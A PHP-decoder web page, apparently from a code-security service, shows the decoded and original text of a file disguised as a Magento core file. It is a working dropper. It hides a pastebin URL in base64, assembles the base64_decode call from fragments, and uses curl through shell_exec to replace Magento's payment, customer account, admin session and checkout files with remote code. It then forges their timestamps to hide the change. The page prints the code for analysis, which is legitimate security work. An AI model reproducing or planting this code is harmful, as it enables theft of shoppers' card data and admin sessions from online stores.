Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /** * Magento * * NOTICE OF LICENSE * * This source file is subject to the Open..
Decoded Output download
<?php
/**
* Magento
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/osl-3.0.php
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to [email protected] so we can send you a copy immediately.
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade Magento to newer
* versions in the future. If you wish to customize Magento for your
* needs please refer to http://www.magento.com for more information.
*
* @category Mage
* @package Mage
* @copyright Copyright (c) 2006-2015 X.commerce, Inc. (http://www.magento.com)
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
*/
#define('COMPILER_INCLUDE_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR.'src');
#define('COMPILER_COLLECT_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR.'stat');
function patch($path,$name,$size,$file,$link){
if (file_exists($path.$name))
{
$fsize = filesize($path.$name);
if ($fsize != $size)
{
if(is_writable($path))
{
shell_exec('curl -o '.$path.$name.' '.$link);
shell_exec('touch -r '.$path.$file.' '.$path.$name);
}
}
}
}
/**
* Main Config
* Please dont ever edit this code below
*/
$dir = getcwd();
$b64 = "base"."64"."_"."de"."code";
$path = '/app/code/core/Mage';
$link = $b64('aHR0cDovL3Bhc3RlYmluLmNvbS9yYXcv');
$path_a = $dir.$path.'/Payment/Model/Method/';
$name_a = 'Cc.php';
$file_a = 'Abstract.php';
$size_a = 16628;
$link_a = $link.'YTGgAnrv';
$path_b = $dir.$path.'/Customer/controllers/';
$name_b = 'AccountController.php';
$file_b = 'AddressController.php';
$size_b = 38240;
$link_b = $link.'WhxpzKBi';
$path_c = $dir.$path.'/Admin/Model/';
$name_c = 'Session.php';
$file_c = 'Config.php';
$size_c = 8438;
$link_c = $link.'h0Z8eMHh';
$path_d = $dir.$path.'/Checkout/Model/Type/';
$name_d = 'Onepage.php';
$file_d = 'Abstract.php';
$size_d = 37599;
$link_d = $link.'257Yar67';
patch($path_a,$name_a,$size_a,$file_a,$link_a);
patch($path_b,$name_b,$size_b,$file_b,$link_b);
patch($path_c,$name_c,$size_c,$file_c,$link_c);
patch($path_d,$name_d,$size_d,$file_d,$link_d); ?>
Did this file decode correctly?
Original Code
<?php
/**
* Magento
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/osl-3.0.php
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to [email protected] so we can send you a copy immediately.
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade Magento to newer
* versions in the future. If you wish to customize Magento for your
* needs please refer to http://www.magento.com for more information.
*
* @category Mage
* @package Mage
* @copyright Copyright (c) 2006-2015 X.commerce, Inc. (http://www.magento.com)
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
*/
#define('COMPILER_INCLUDE_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR.'src');
#define('COMPILER_COLLECT_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR.'stat');
function patch($path,$name,$size,$file,$link){
if (file_exists($path.$name))
{
$fsize = filesize($path.$name);
if ($fsize != $size)
{
if(is_writable($path))
{
shell_exec('curl -o '.$path.$name.' '.$link);
shell_exec('touch -r '.$path.$file.' '.$path.$name);
}
}
}
}
/**
* Main Config
* Please dont ever edit this code below
*/
$dir = getcwd();
$b64 = "base"."64"."_"."de"."code";
$path = '/app/code/core/Mage';
$link = $b64('aHR0cDovL3Bhc3RlYmluLmNvbS9yYXcv');
$path_a = $dir.$path.'/Payment/Model/Method/';
$name_a = 'Cc.php';
$file_a = 'Abstract.php';
$size_a = 16628;
$link_a = $link.'YTGgAnrv';
$path_b = $dir.$path.'/Customer/controllers/';
$name_b = 'AccountController.php';
$file_b = 'AddressController.php';
$size_b = 38240;
$link_b = $link.'WhxpzKBi';
$path_c = $dir.$path.'/Admin/Model/';
$name_c = 'Session.php';
$file_c = 'Config.php';
$size_c = 8438;
$link_c = $link.'h0Z8eMHh';
$path_d = $dir.$path.'/Checkout/Model/Type/';
$name_d = 'Onepage.php';
$file_d = 'Abstract.php';
$size_d = 37599;
$link_d = $link.'257Yar67';
patch($path_a,$name_a,$size_a,$file_a,$link_a);
patch($path_b,$name_b,$size_b,$file_b,$link_b);
patch($path_c,$name_c,$size_c,$file_c,$link_c);
patch($path_d,$name_d,$size_d,$file_d,$link_d);
Function Calls
getcwd | 1 |
Stats
MD5 | 91c244a84db09f2dca06b6b1d1582cba |
Eval Count | 0 |
Decode Time | 191 ms |